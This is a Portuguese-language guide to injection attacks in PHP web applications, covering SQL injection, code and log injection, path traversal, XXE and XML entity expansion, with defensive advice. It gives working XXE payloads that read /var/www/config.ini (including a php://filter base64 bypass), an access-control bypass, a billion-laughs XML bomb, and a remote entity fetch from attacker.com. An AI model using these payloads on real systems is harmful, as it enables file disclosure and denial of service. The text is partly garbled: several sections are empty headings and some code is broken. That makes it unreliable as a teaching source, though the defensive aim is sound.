Ataques de Injeção
Ataques de Injeção
O OWASP Top 10 lista (Injection Attacks) Injeção e Cross-Site
Scripting (XSS) como os riscos de segurança mais comuns para aplicações
web. De fato, eles andam de mãos dadas porque os ataques XSS são
contingentes em um ataque de injeção bem-sucedido. Embora esta seja a
parceria mais óbvia, a Injeção não se limita apenas a habilitar o XSS.
A injeção é uma classe inteira de ataques que dependem da injeção de
dados em um aplicativo da Web para facilitar a execução ou interpretação
de dados mal-intencionados de maneira inesperada. Exemplos de ataques
nessa classe incluem XSS (Cross-Site Scripting), SQL Injection, Header
Injection, Log Injection e Full Path Disclosure. Estou arranhando a
superfície aqui.
Esta classe de ataques é o bicho papão de todo programador. Eles são
os ataques mais comuns e bem-sucedidos na Internet devido a seus
numerosos tipos, grande superfície de ataque e a complexidade às vezes
necessária para protegê-los. Todos os aplicativos precisam de dados de
algum lugar para funcionar. Cross-Site Scripting e IU Redress são, em
particular, tão comuns que eu dediquei o próximo capítulo a eles e estes
são geralmente categorizados separadamente de Injection Attacks como
sua própria classe, dada a sua importância.
OWASP usa a seguinte definição para ataques de injeção:
As falhas de injeção, como SQL, SO e injeção LDAP, ocorrem quando
dados não confiáveis são enviados para um intérprete como parte de um
comando ou consulta. Os dados hostis do invasor podem levar o intérprete
a executar comandos não intencionais ou acessar dados não autorizados.
Injeção de SQL
De longe, a forma mais comum de ataque de injeção é o infame ataque SQL Injection. Injeções SQL não são apenas extremamente comuns, mas também muito mortais. Eu não posso enfatizar o suficiente a importância de entender este ataque, as condições sob as quais ele pode ser realizado com sucesso e os passos necessários para se defender contra ele.As Injeções SQL operam injetando dados em uma aplicação web que é então usada em consultas SQL. Os dados geralmente vêm de uma entrada não confiável, como um formulário da web. No entanto, também é possível que os dados sejam provenientes de outra fonte, incluindo o próprio banco de dados. Os programadores muitas vezes confiam em dados de seus próprios bancos de dados, acreditando que são completamente seguros, sem perceber que ser seguro para um uso em particular não significa que seja seguro para todos os outros usos subsequentes. Os dados de um banco de dados devem ser tratados como não confiáveis, a menos que se prove o contrário, por exemplo, por meio de processos de validação.
Se bem sucedida, uma Injeção de SQL pode manipular a consulta SQL que está sendo direcionada para executar uma operação de banco de dados não pretendida pelo programador.
Considere a seguinte consulta:
$db = new mysqli('localhost', 'username', 'password', 'storedb');
$result = $db->query(
'SELECT * FROM transactions WHERE user_id = ' . $_POST['user_id']
);
As três falhas acima são incrivelmente comuns em aplicações web.
Quanto à confiança nos dados do banco de dados, imagine que procuramos por transações usando um campo user_name. Os nomes são razoavelmente amplos no escopo e podem incluir citações. É possível que um invasor armazene uma string de injeção de SQL dentro de um nome de usuário. Quando reutilizamos essa cadeia em uma consulta posterior, ela manipularia a string de consulta se considerássemos o banco de dados como uma fonte confiável de dados e não conseguíssemos escapar ou vinculá-lo adequadamente.
Outro fator do SQL Injection para prestar atenção é que o armazenamento persistente nem sempre ocorre no servidor. O HTML5 suporta o uso de bancos de dados do lado do cliente que podem ser consultados usando o SQL com a ajuda do Javascript. Existem duas APIs que facilitam isso: WebSQL e IndexedDB. O WebSQL foi preterido pelo W3C em 2010 e é suportado pelos navegadores WebKit que usam o SQLite no backend. É provável que o suporte no WebKit continue para fins de compatibilidade com versões anteriores, embora não seja mais recomendado para uso. Como o próprio nome sugere, ele aceita consultas SQL e, portanto, pode ser suscetível a ataques de injeção de SQL. IndexedDB é a alternativa mais recente, mas é um banco de dados NOSQL (ou seja, não requer o uso de consultas SQL).
Exemplos de Injeção SQL
A tentativa de manipular consultas SQL pode ter objetivos, incluindo:- Vazamento de informação
- Divulgação de dados armazenados
- Manipulação de dados armazenados
- Ignorando os controles de autorização
- Injeção de SQL do lado do cliente
Vazamento de Informações
Divulgação de dados armazenados
Manipulação de dados armazenados
Ignorando os controles de autorização
Defesas contra injeção de SQL
A defesa contra um ataque de injeção de SQL aplica o princípio de defesa em profundidade. Ele deve ser validado para garantir que esteja na forma correta que esperamos antes de usá-lo em uma consulta SQL e deve ser salvo antes de incluí-lo na consulta ou incluí-lo como um parâmetro vinculado.Validação
O Capítulo 2 cobriu a Validação de Entrada e, como observei, devemos supor que todos os dados não criados explicitamente no código-fonte do PHP da solicitação atual devem ser considerados não confiáveis. Valide-o estritamente e rejeite todos os dados com falha. Não tente “consertar” os dados, a menos que faça pequenas alterações estéticas em seu formato.Erros comuns de validação podem incluir a validação dos dados para seu uso atual (por exemplo, para fins de exibição ou cálculo) e não levar em conta as necessidades de validação dos campos da tabela de banco de dados aos quais os dados serão eventualmente armazenados.
Escapando
Usando a extensão mysqli, você pode escapar todos os dados incluídos em uma consulta SQL usando a função mysqli_real_escape_string (). A extensão pgsql do PostgresSQL oferece as funções pg_escape_bytea (), pg_escape_identifier (), pg_escape_literal () e pg_escape_string (). O mssql (Microsoft SQL Server) não oferece funções de escape e a abordagem addslashes () comumente recomendada é insuficiente – você realmente precisa de uma função personalizada [ http://stackoverflow.com/questions/574805/how-to-escape-strings-in -mssq-using-php ].Só para lhe dar ainda mais dor de cabeça, você nunca pode deixar de escapar dos dados que entram em uma consulta SQL. Um deslize e possivelmente estará vulnerável a injeção de SQL.
Pelas razões acima, o escape não é realmente recomendado. Ele funcionará bem e poderá ser necessário se uma biblioteca de banco de dados usada para abstração permitir a configuração de consultas SQL nuas ou partes de consulta sem impor a vinculação de parâmetros. Caso contrário, você deve evitar a necessidade de escapar completamente. É confuso, propenso a erros e difere pela extensão do banco de dados.
Consultas parametrizadas (instruções preparadas)
Parametrização ou Parameter Binding é a maneira recomendada de construir consultas SQL e todas as boas bibliotecas de banco de dados usarão isso por padrão. Aqui está um exemplo usando a extensão PDO do PHP.if(ctype_digit($_POST['id']) && is_int($_POST['id'])) {
$validatedId = $_POST['id'];
$pdo = new PDO('mysql:store.db');
$stmt = $pdo->prepare('SELECT * FROM transactions WHERE user_id = :id');
$stmt->bindParam(':id', $validatedId, PDO::PARAM_INT);
$stmt->execute();
} else {
// reject id value and report error to user
}
Ao contrário do escape manual, a associação de parâmetros desta maneira (ou qualquer outro método usado pela sua biblioteca de banco de dados) irá escapar corretamente dos dados sendo vinculados automaticamente para que você não precise lembrar qual função de escape usar. Usar a associação de parâmetro consistentemente também é muito mais confiável do que lembrar-se de escapar manualmente de tudo.
Reforçar o Princípio do Menor Privilégio
Colocar as quebras em uma Injeção de SQL bem-sucedida é tão importante quanto impedir que ela ocorra em primeiro lugar. Uma vez que um atacante adquire a capacidade de executar consultas SQL, ele o fará como um usuário específico do banco de dados. O princípio de privilégio mínimo pode ser aplicado garantindo que todos os usuários do banco de dados recebam apenas os privilégios que são absolutamente necessários para concluir as tarefas desejadas.Se um usuário do banco de dados tiver privilégios significativos, um invasor poderá soltar tabelas e manipular os privilégios de outros usuários sob os quais o invasor pode executar outras Injeções SQL. Você nunca deve acessar o banco de dados a partir de um aplicativo da Web como raiz ou qualquer outro usuário altamente privilegiado ou de nível de administrador, para garantir que isso nunca aconteça.
Outra variante do princípio do Menor Privilégio é separar os papéis de ler e gravar dados em um banco de dados. Você teria um usuário com privilégios suficientes para executar gravações e outro usuário separado restrito a uma função somente leitura. Esse grau de separação de tarefas garante que, se uma Injeção de SQL tiver como alvo um usuário somente leitura, o invasor não poderá gravar ou manipular os dados da tabela. Essa forma de compartimentação pode ser estendida para limitar ainda mais o acesso e, assim, minimizar o impacto de ataques de injeção de SQL bem-sucedidos.
Muitos aplicativos da Web, especialmente aplicativos de código aberto, são projetados especificamente para usar um único usuário de banco de dados e esse usuário quase certamente nunca é verificado para ver se eles são altamente privilegiados ou não. Tenha isso em mente e não fique tentado a executar esses aplicativos em um usuário administrativo.
Injeção de código (também inclusão remota de arquivos)
A injeção de código se refere a qualquer meio que permita que um invasor injete o código-fonte em um aplicativo da Web, de modo que ele seja interpretado e executado. Isso não se aplica ao código injetado em um cliente do aplicativo, por exemplo, Javascript, que, em vez disso, se enquadra no domínio do Cross-Site Scripting (XSS).O código-fonte pode ser injetado diretamente de uma entrada não confiável ou o aplicativo da Web pode ser manipulado para carregá-lo a partir do sistema de arquivos local ou de uma fonte externa como uma URL. Quando uma Injeção de Código ocorre como resultado da inclusão de um recurso externo, ela é comumente chamada de Inclusão Remota de Arquivo, embora um ataque RFI em si precise sempre ter a intenção de injetar código.
As principais causas da injeção de código são falhas de validação de entrada, inclusão de entrada não confiável em qualquer contexto em que a entrada pode ser avaliada como código PHP, falhas na proteção de repositórios de código-fonte, falhas no uso de bibliotecas de terceiros e erros de configuração do servidor que permitem que arquivos não-PHP sejam passados para o interpretador PHP pelo servidor web. Atenção especial deve ser dada ao ponto final, pois significa que todos os arquivos enviados para o servidor por usuários não confiáveis podem representar um risco significativo.
Exemplos de injeção de código
O PHP é bem conhecido por permitir uma miríade de alvos de Injeção de Código, garantindo que a Injeção de Código permaneça alta na lista de observação de qualquer programador.Inclusão de arquivos
O alvo mais óbvio para um ataque de injeção de código são as funções include (), include_once (), require () e require_once (). Se a entrada não confiável puder determinar o parâmetro de caminho passado para essas funções, é possível influenciar qual arquivo local será incluído. Deve-se notar que o arquivo incluído não precisa ser um arquivo PHP real; qualquer arquivo incluído que seja capaz de transportar dados textuais (por exemplo, quase qualquer coisa) é permitido.O parâmetro path também pode ser vulnerável a um Directory Traversal ou Remote File Inclusion. Usar a string ../ ou .. (dot-dot-slash) em um caminho permite que um invasor navegue para quase todos os arquivos acessíveis ao processo PHP. As funções acima também aceitarão uma URL na configuração padrão do PHP, a menos que XXX esteja desabilitado.
Avaliação
A função eval () do PHP aceita uma string de código PHP a ser executada.Injeção de Expressões Regulares
A função preg_replace () da função PCRE no PHP permite um modificador “e” (PREG_REPLACE_EVAL) que significa que a string de substituição será avaliada como PHP após a subsituição. A entrada não confiável usada na string de substituição pode, portanto, injetar código PHP para ser executada.Lógica de Inclusão de Arquivos com Falhas
Aplicativos da Web, por definição, incluirão vários arquivos necessários para atender a qualquer solicitação. Ao manipular o caminho da solicitação ou seus parâmetros, pode ser possível provocar o servidor a incluir arquivos locais não intencionais, aproveitando a lógica falha em seu roteamento, gerenciamento de dependência, carregamento automático ou outros processos.Tais manipulações fora do que o aplicativo da Web foi projetado para manipular podem ter efeitos imprevisíveis. Por exemplo, um aplicativo pode expor involuntariamente rotas destinadas apenas ao uso da linha de comando. O aplicativo também pode expor outras classes cujos construtores executam tarefas (não é uma maneira recomendada de projetar classes, mas acontece). Qualquer um desses cenários pode interferir nas operações de back-end do aplicativo, levando à manipulação de dados ou a um potencial de ataques de negação de serviço (DOS) em operações que exigem muitos recursos e que não devem ser acessadas diretamente.
Configuração incorreta do servidor
Objetivos da injeção de código
O objetivo de um Code Injection é extremamente amplo, pois permite a execução de qualquer código PHP escolhido pelo atacante.Defesas contra injeção de código
Injeção de comando
Exemplos de injeção de comando
Defesas contra injeção de comando
Injeção de Log (também Injeção de Arquivo de Log)
Muitos aplicativos mantêm um intervalo de logs que geralmente são exibidos para usuários autorizados a partir de uma interface HTML. Como resultado, eles são o principal alvo de invasores que desejam disfarçar outros ataques, enganar os revisores de registros ou até mesmo montar um ataque subsequente aos usuários do aplicativo de monitoramento usado para ler e analisar os registros.A vulnerabilidade dos logs depende dos controles estabelecidos durante a gravação de logs e da garantia de que os dados de log são tratados como uma fonte de dados não confiável quando se trata de realizar qualquer monitoramento ou análise das entradas de log.
Um sistema de log simples pode gravar linhas de texto em um arquivo usando file_put_contents (). Por exemplo, um programador pode registrar tentativas de login com falha usando uma string do seguinte formato:
sprintf ( "Falha na tentativa de login por% s" , $ username );
Se essa string, de entrada não confiável, fosse inserida no log, o invasor teria disfarçado com sucesso a tentativa de login com falha como uma falha inocente do usuário Admin para efetuar login. Adicionar uma tentativa de repetição bem-sucedida torna os dados ainda menos suspeitos.
Naturalmente, o ponto aqui é que um invasor pode anexar todos os tipos de entradas de log. Eles também podem injetar vetores XSS e até injetar caracteres para mexer com a exibição das entradas de log em um console.
Objetivos da Injeção de Log
A injeção também pode ter como alvo intérpretes de formato de registro. Se uma ferramenta analisadora usa expressões regulares para analisar uma entrada de log para dividi-la em campos de dados, uma cadeia injetada poderia ser cuidadosamente construída para garantir que a regex corresponda a um campo excedente injetado em vez do campo correto. Por exemplo, a entrada a seguir pode apresentar alguns problemas:$username = "iamnothacker! at Mon Jan 01 00:00:00 +1000 2009";
sprintf("Failed login attempt by $s at $s", $username, )
Defesas contra injeção de log
A defesa mais simples contra as injeções de log é desinfetar todas as mensagens de log de saída usando uma lista de permissões de caracteres permitidos. Poderíamos, por exemplo, limitar todos os registros a caracteres e espaços alfanuméricos. As mensagens detectadas fora desta lista de caracteres podem ser interpretadas como corrompidas, levando a uma mensagem de log referente a uma potencial LFI para notificá-lo da possível tentativa. É um método simples para logs de texto simples, onde incluir qualquer entrada não confiável na mensagem é inevitável.Uma defesa secundária pode ser codificar a porção de entrada não confiável em algo como base64, que mantém um perfil limitado de caracteres permitidos, enquanto ainda permite que uma ampla gama de informações seja armazenada em texto.
Path Traversal (também Directory Traversal)
Path Traversal (também Directory Traversal) Os ataques são tentativas de influenciar operações de back-end que leem ou gravam arquivos no aplicativo da Web, injetando parâmetros capazes de manipular os caminhos de arquivo empregados pela operação de back-end. Como tal, este ataque é um trampolim para atacar com sucesso o aplicativo, facilitando a divulgação de informações e a injeção de arquivos local / remoto.Nós abordaremos esses tipos de ataques subseqüentes separadamente, mas o Path Traversal é uma das vulnerabilidades da raiz que permite a todos eles. Embora as funções descritas abaixo sejam específicas do conceito de manipulação de caminhos de arquivos, vale mencionar que muitas funções do PHP não aceitam simplesmente um caminho de arquivo no sentido tradicional da palavra. Em vez disso, funciona como
include()ou file()aceita
um URI no PHP. Isso parece completamente contra-intuitivo, mas
significa que as duas chamadas de função a seguir usando caminhos de
arquivo absolutos (ou seja, não depender do carregamento automático de
caminhos de arquivos relativos) são equivalentes.O ponto aqui é que o manuseio relativo do caminho (include (‘/var/www/vendor/library/classe.php’); include (‘ file: ///var/www/vendor/library/Class.php ‘);
include_pathconfiguração
do php.ini e autoloaders disponíveis), funções PHP como essa são
particularmente vulneráveis a muitas formas de manipulação de
parâmetros, incluindo File URI Scheme Substitution, em que um invasor
pode injetar um HTTP ou FTP URI se não for confiável os dados são
injetados no início de um caminho de arquivo. Cobriremos isso com mais
detalhes para os ataques de Inclusão remota de arquivos, por isso, por
enquanto, vamos nos concentrar nas travessias de caminho do sistema de
arquivos.Em uma vulnerabilidade Path Traversal, o fator comum é que o caminho para um arquivo é manipulado para, em vez disso, apontar para um arquivo diferente. Isto é geralmente conseguido através da injecção de uma série de
../sequências (Dot-de Dot-barra) em um argumento que está apenso a, ou inseridas em toda uma função como include(), require(), file_get_contents()ou funções ainda menos suspeitos (para algumas pessoas), tais como DOMDocument::load().A seqüência Dot-Dot-Slash permite que um invasor informe ao sistema para navegar ou voltar para o diretório pai. Assim, um caminho, como
/var/www/public/../vendor realmente aponta para /var/www/public/vendor. A seqüência Dot-Dot-Slash depois de /publicvoltar para o pai desse diretório, ie /var/www. Como esse exemplo simples ilustra, um invasor pode usar isso para acessar arquivos que estão fora do /publicdiretório acessível a partir do servidor da web.Obviamente, os percursos de caminho não são apenas para retrocesso. Um atacante também pode injetar novos elementos de caminho para acessar diretórios filhos que podem estar inacessíveis a partir de um navegador, por exemplo. devido a uma negação de toda diretiva em um .htaccess no diretório filho ou em um de seus pais. As operações do sistema de arquivos do PHP não se preocupam com o modo como o Apache ou qualquer outro servidor da Web é configurado para controlar o acesso a arquivos e diretórios não públicos.
Exemplos de PATH TRAVERSAL
Defesas contra PATH TRAVERSAL
Injeção XML
Apesar do advento do JSON como um meio leve de comunicação de dados
entre um servidor e um cliente, o XML continua a ser uma alternativa
viável e popular que geralmente é suportada em paralelo ao JSON por APIs
de serviço da web. Fora dos serviços da Web, o XML é a base da troca de
uma diversidade de dados usando esquemas XML, como RSS, Atom, SOAP e
RDF, para citar apenas alguns dos padrões mais comuns.
O XML é tão onipresente que também pode ser encontrado em uso no
servidor de aplicativos da Web, em navegadores como o formato escolhido
para solicitações e respostas XMLHttpRequest e em extensões de
navegador. Dada a sua utilização generalizada, XML pode apresentar um
alvo atraente para ataques de injeção XML devido à sua popularidade eo
tratamento predefinido de XML permitido por analisadores comuns XML como
libxml2 que é utilizado por PHP no
DOM, SimpleXMLe XMLReaderextensões. Quando
o navegador é um participante ativo em uma troca XML, deve-se
considerar XML como um formato de solicitação em que usuários
autenticados, por meio de um ataque Cross-Site Scripting, podem estar
enviando XML, que é realmente gravado por um invasor.Injeção de Entidade Externa XML
Vulnerabilidades em uma Injeção de Entidade Externa XML (XXE) existem porque as bibliotecas de análise XML geralmente suportam o uso de referências de entidades personalizadas em XML. Você vai estar familiarizado com o complemento padrão de XML de entidades usados para representar caracteres de marcação especiais, tais como>, <, e '. O
XML permite expandir o conjunto de entidades padrão definindo entidades
personalizadas no próprio documento XML. As entidades personalizadas
podem ser definidas incluindo-as diretamente em umDOCTYPEe
o valor expandido que eles representam pode referenciar um recurso
externo a ser incluído. É essa capacidade do XML comum de carregar
referências personalizadas que podem ser expandidas com o conteúdo de um
recurso externo que dá origem a uma vulnerabilidade XXE. Em
circunstâncias normais, entradas não confiáveis nunca devem ser
capazes de interagir com o nosso sistema de maneiras imprevistas e o XXE
é quase certamente inesperado para a maioria dos programadores,
tornando-se uma área de preocupação particular.Por exemplo, vamos definir uma nova entidade personalizada chamada “inofensiva”:
<!DOCTYPE results [ <!ENTITY harmless "completely harmless"> ]>
<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY harmless "completely harmless">]>
<results>
<result>This result is &harmless;</result>
</results>
As entidades personalizadas obviamente têm um benefício ao representar textos repetitivos e XML com entidades nomeadas mais curtas. Na verdade, não é tão incomum quando o XML deve seguir uma determinada gramática e onde as entidades personalizadas simplificam a edição. No entanto, de acordo com nosso tema de não confiar em insumos externos, precisamos ter muito cuidado com o que todo o XML que nosso aplicativo está consumindo é realmente adequado. Por exemplo, este definitivamente não é da variedade inofensiva:Este resultado é completamente inofensivo
<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY harmless SYSTEM "file:///var/www/config.ini">]>
<results>
<result>&harmless;</result>
</results>
&harmless;A
entidade e o conteúdo expandido podem então ser extraídos do analisador
XML e incluídos na saída do aplicativo da Web para um invasor examinar,
ou seja, dando origem à Divulgação de Informações. O arquivo recuperado
será interpretado como XML, a menos que evite os caracteres especiais
que acionam essa interpretação, tornando limitado o escopo da divulgação
do conteúdo do arquivo local. Se o arquivo for interpretado como XML,
mas não contiver XML válido, um erro será o provável resultado impedindo
a divulgação do conteúdo. O PHP, no entanto, tem um “truque” disponível
para contornar essa limitação de escopo e solicitações HTTP remotas
podem, obviamente, ter um impacto sobre o aplicativo da Web, mesmo se a
resposta retornada não puder ser comunicada ao invasor.PHP oferece três métodos usados com freqüência de análise e consumir XML: PHP
DOM, SimpleXMLe XMLReader. Todos os três usam a libxml2extensão
e o suporte à entidade externa é ativado por padrão. Como conseqüência,
o PHP tem uma vulnerabilidade por padrão para o XXE, o que torna
extremamente fácil perder quando se considera a segurança de um
aplicativo da Web ou uma biblioteca que consome XML.Você também deve lembrar que XHTML e HTML5 podem ser ambos serializados como XML válido, o que pode significar que algumas páginas XHTML ou HTML5 serializadas com XML podem ser analisadas como XML, por exemplo, usando em
DOMDocument::loadXML()vez de DOMDocument::loadHTML(). Esses usos de um analisador XML também são vulneráveis à injeção de entidade externa XML. Lembre-se que libxml2atualmente não reconhece o HTML5 DOCTYPEe, portanto, não pode validá-lo como seria para DOTHYPES XHTML.Exemplos de injeção de entidade externa XML
Conteúdo do Arquivo e Divulgação de Informações
Anteriormente encontramos um exemplo de Divulgação de Informações, observando que uma entidade personalizada em XML poderia fazer referência a um arquivo externo.
<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY harmless SYSTEM "file:///var/www/config.ini">]>
<results>
<result>&harmless;</result>
</results>
Isso expandiria a
&harmless;entidade personalizada com
o conteúdo do arquivo. Como todas essas solicitações são feitas
localmente, ela permite a divulgação do conteúdo de todos os arquivos
aos quais o aplicativo tem acesso de leitura. Isso permitiria que
atacantes examinassem arquivos que não estão disponíveis publicamente,
caso a entidade expandida fosse incluída na saída do aplicativo. O
conteúdo do arquivo que pode ser divulgado neste documento é
significativamente limitado – eles devem ser XML ou um formato que não
faça com que a análise XML gere erros. Essa restrição pode, no entanto,
ser completamente ignorada no PHP:<?xml version="1.0"?>
<!DOCTYPE results [
<!ENTITY harmless SYSTEM
"php://filter/read=convert.base64-encode/resource=/var/www/config.ini"
>
]>
<results>
<result>&harmless;</result>
</results>
file_get_contents(), require(), require_once(), file(), copy()e
muitos mais. O wrapper do PHP suporta vários filtros que podem ser
executados em um determinado recurso para que os resultados sejam
retornados da chamada de função. No caso acima, usamos o convert.base-64-encode filtro no arquivo de destino que queremos ler.O que isso significa é que um invasor, por meio de uma vulnerabilidade XXE, pode ler qualquer arquivo acessível em PHP, independentemente de seu formato textual. Tudo o que o invasor precisa fazer é basear a saída 64 do produto que recebe do aplicativo, e eles podem dissecar o conteúdo de uma ampla variedade de arquivos não públicos com impunidade. Embora isso não esteja diretamente causando danos aos usuários finais ou ao back-end do aplicativo, ele permite que os invasores aprendam bastante sobre o aplicativo que estão tentando mapear, o que pode permitir que eles detectem outras vulnerabilidades com o mínimo de esforço e risco de descoberta .
Ignorando os controles de acesso
Os controles de acesso podem ser ditados de várias maneiras. Como os ataques XXE são montados no back-end para um aplicativo da Web, não será possível usar a sessão do usuário atual para qualquer efeito, mas um invasor ainda pode ignorar os controles de acesso do backend em virtude de fazer solicitações do servidor local. Considere o seguinte controle de acesso primitivo:if (isset($_SERVER['HTTP_CLIENT_IP'])
|| isset($_SERVER['HTTP_X_FORWARDED_FOR'])
|| !in_array(@$_SERVER['REMOTE_ADDR'], array(
'127.0.0.1',
'::1',
))
) {
header('HTTP/1.0 403 Forbidden');
exit(
'You are not allowed to access this file.'
);
}
<?xml version="1.0"?>
<!DOCTYPE results [
<!ENTITY harmless SYSTEM
"php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php"
>
]>
<results>
<result>&harmless;</result>
</results>
Negação de Serviço (DOS)
Quase tudo o que pode ditar como os recursos do servidor são utilizados pode ser usado para gerar um ataque do DOS. Com a Injeção de Entidade Externa XML, um invasor tem acesso para fazer solicitações HTTP arbitrárias que podem ser usadas para esgotar os recursos do servidor nas condições corretas.Veja abaixo também para outros potenciais usos do DOS de ataques XXE em termos de Expansões de Entidades XML.
Defesas contra injeção de entidade externa XML
Considerando os benefícios muito atrativos deste ataque, pode ser surpreendente que a defesa seja extremamente simples. ComoDOM, SimpleXMLe XMLReadertodos dependem libxml2, podemos simplesmente usar a libxml_disable_entity_loader()função
para desabilitar a resolução de entidades externas. Isso não desabilita
as entidades personalizadas que são predefinidas em um, uma DOCTYPEvez que elas não fazem uso de recursos externos que exigem uma operação do sistema de arquivos ou uma solicitação HTTP.$oldValue = libxml_disable_entity_loader(true);
$dom = new DOMDocument();
$dom->loadXML($xml);
libxml_disable_entity_loader($oldValue);
Onde entidades externas nunca são requeridas pelo aplicativo ou pela maioria de suas solicitações, você pode simplesmente desativar o carregamento de recursos externos em uma base mais global que, na maioria dos casos, será muito mais preferível localizar todas as instâncias de carregamento XML, carregando em mente, muitas bibliotecas provavelmente são escritas com vulnerabilidades inatas do tipo XXE presentes:
libxml_disable_entity_loader(true);
TRUEdepois
de qualquer ativação temporária do carregamento de recursos
externos. Um exemplo de um processo que requer entidades externas de
maneira inocente é renderizar Docbook XML em HTML, onde o estilo XSL é
dependente de entidades externas.Esta
libxml2função
não é, por um meio, uma bala de prata. Outras extensões e bibliotecas
PHP que analisam ou lidam com XML precisam ser avaliadas para localizar
seu switch “off” para resolução de entidades externas.No caso em que o tipo de mudança de comportamento acima não é possível, você pode alternativamente verificar se um documento XML declara a
DOCTYPE. Em
caso afirmativo, e entidades externas não são permitidas, você pode
simplesmente descartar o documento XML, negando o acesso XML não
confiável a um analisador potencialmente vulnerável e registrá-lo como
um provável ataque. Se você registrar ataques, isso será um passo
necessário, já que não há outros erros ou exceções para pegar a
tentativa. Essa verificação deve ser incluída em suas rotinas normais de
validação de entrada. No entanto, isso está longe de ser ideal e é
altamente recomendável corrigir o problema da entidade externa em sua
origem./**
* Attempt a quickie detection
*/
$collapsedXML = preg_replace("/[:space:]/", '', $xml);
if(preg_match("/<!DOCTYPE/i", $collapsedXml)) {
throw new \InvalidArgumentException(
'Invalid XML: Detected use of illegal DOCTYPE'
);
}
libxml_disable_entity_loader()não
desabilita completamente as entidades personalizadas, apenas aquelas
que fazem referência a recursos externos. Isso ainda pode ativar um
ataque de Injeção relacionado chamado Expansão de Entidade XML, o qual
nos encontraremos a seguir.Expansão de Entidade XML
A Expansão de Entidade XMl é um pouco semelhante à Expansão de
Entidade XML, mas se concentra principalmente em habilitar um ataque de
Denial Of Service (DOS) ao tentar esgotar os recursos do ambiente de
servidor do aplicativo de destino. Isso é obtido na Expansão de Entidade
XML criando uma definição de entidade personalizada nos XMLs
DOCTYPEque
poderia, por exemplo, gerar uma estrutura XML muito maior na memória do
que o tamanho original do XML sugeriria, permitindo que esses ataques
consumissem recursos essenciais para manter a Web. servidor operando
eficientemente. Esse ataque também se aplica à serialização XML de
HTML5, que atualmente não é reconhecida como HTML pela libxml2extensão.Exemplos de Expansão de Entidade XML
Existem várias abordagens para expandir as entidades customizadas XML para obter o efeito desejado de esgotar os recursos do servidor.Expansão de Entidade Genérica
Também conhecido como “Quadratic Blowup Attack”, um ataque de expansão de entidade genérica, uma entidade personalizada é definida como uma string extremamente longa. Quando a entidade é usada inúmeras vezes em todo o documento, a entidade é expandida a cada vez que leva a uma estrutura XML que requer significativamente mais RAM do que o tamanho XML original sugere.<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY long "SOME_SUPER_LONG_STRING">]>
<results>
<result>Now include &long; lots of times to expand
the in-memory size of this XML structure</result>
<result>&long;&long;&long;&long;&long;&long;&long;
&long;&long;&long;&long;&long;&long;&long;&long;
&long;&long;&long;&long;&long;&long;&long;&long;
&long;&long;&long;&long;&long;&long;&long;&long;
Keep it going...
&long;&long;&long;&long;&long;&long;&long;...</result>
</results>
Equilibrando o tamanho da string de entidade personalizada e o número de usos da entidade no corpo do documento, é possível criar um arquivo ou string XML que será expandido para usar uma quantidade previsível de RAM do servidor. Ao ocupar a RAM do servidor com solicitações repetitivas dessa natureza, seria possível montar um ataque bem-sucedido de negação de serviço. A desvantagem da abordagem é que o XML inicial deve ser bastante grande, pois o consumo de memória é baseado em um efeito multiplicador simples.
Expansão de Entidade Recursiva
Where generic entity expansion requires a large XML input, recursive entity expansion packs more punch per byte of input size. It relies on the XML parser to exponentially resolve sets of small entities in such a way that their exponential nature explodes from a much smaller XML input size into something substantially larger. It’s quite fitting that this approach is also commonly called an “XML Bomb” or “Billion Laughs Attack”.<?xml version="1.0"?>
<!DOCTYPE results [
<!ENTITY x0 "BOOM!">
<!ENTITY x1 "&x0;&x0;">
<!ENTITY x2 "&x1;&x1;">
<!ENTITY x3 "&x2;&x2;">
<!-- Add the remaining sequence from x4...x100 (or boom) -->
<!ENTITY x99 "&x98;&x98;">
<!ENTITY boom "&x99;&x99;">
]>
<results>
<result>Explode in 3...2...1...&boom;</result>
</results>
A abordagem XML Bomb não requer um tamanho XML grande que possa ser restringido pelo aplicativo. Sua resolução exponencial das entidades resulta em uma expansão de texto final que é 2 ^ 100 vezes o tamanho do
&x0;valor da entidade. Isso é um grande e devastador BOOM!Expansão da Entidade Remota
Os ataques de expansão de entidades normais e recursivas dependem de entidades definidas localmente no DTD do XML, mas um invasor também pode definir as entidades externamente. Isso obviamente requer que o analisador XML seja capaz de fazer solicitações HTTP remotas, que, como encontramos anteriormente na descrição da Injeção de Entidade Externa XML (XXE), devem ser desabilitadas para seu analisador XML como uma medida básica de segurança. Como resultado, a defesa contra o XXEs defende essa forma de ataque de expansão de entidades XML.No entanto, a maneira como a expansão de entidade remota funciona é levando o analisador XML a fazer solicitações HTTP remotas para buscar o valor expandido das entidades referenciadas. Os resultados, então, definirão outras entidades externas para as quais o analisador XML deve fazer solicitações HTTP. Dessa forma, algumas solicitações de aparência inocente podem rapidamente sair do controle, sobrecarregando os recursos disponíveis do servidor, com o resultado final talvez englobando uma expansão de entidade recursiva apenas para piorar a situação.
<?xml version="1.0"?>
<!DOCTYPE results [
<!ENTITY cascade SYSTEM "http://attacker.com/entity1.xml">
]>
<results>
<result>3..2..1...&cascade<result>
</results>
O acima também permite uma abordagem mais desonesta para a execução de um ataque do DOS, caso as solicitações remotas sejam adaptadas para direcionar o aplicativo local ou qualquer outro aplicativo que compartilhe seus recursos de servidor. Isso pode levar a um ataque de DOS auto-infligido, onde tentativas de resolver entidades externas pelo analisador XML podem acionar várias solicitações para aplicativos hospedados localmente, consumindo assim uma proposta ainda maior de recursos do servidor. Esse método pode, portanto, ser usado para ampliar o impacto de nossa discussão anterior sobre o uso de ataques XML External Entity Injection (XXE) para executar um ataque do DOS.
Defesas contra a expansão de entidades XML
As defesas óbvias aqui são herdadas de nossas defesas para ataques comuns de Entidade Externa XML (XXE). Devemos desabilitar a resolução de entidades personalizadas em XML para arquivos locais e solicitações HTTP remotas usando a seguinte função que se aplica globalmente a todas as extensões XML do PHP que são usadas internamentelibxml2.libxml_disable_entity_loader(true);
DOCTYPE. O PHP define uma LIBXML_NOENTconstante e também existe uma propriedade pública, DOMDocument::$substituteEntitiesmas nenhum deles tem efeito de melhoria. Parece que estamos presos a usar um conjunto improvisado de soluções alternativas.No entanto,
libxml2tem
uma intolerância predefinida para a resolução de entidade recursiva,
que acende seu log de erros como uma árvore de Natal. Como tal, não há
nenhuma necessidade particular de implementar uma defesa específica
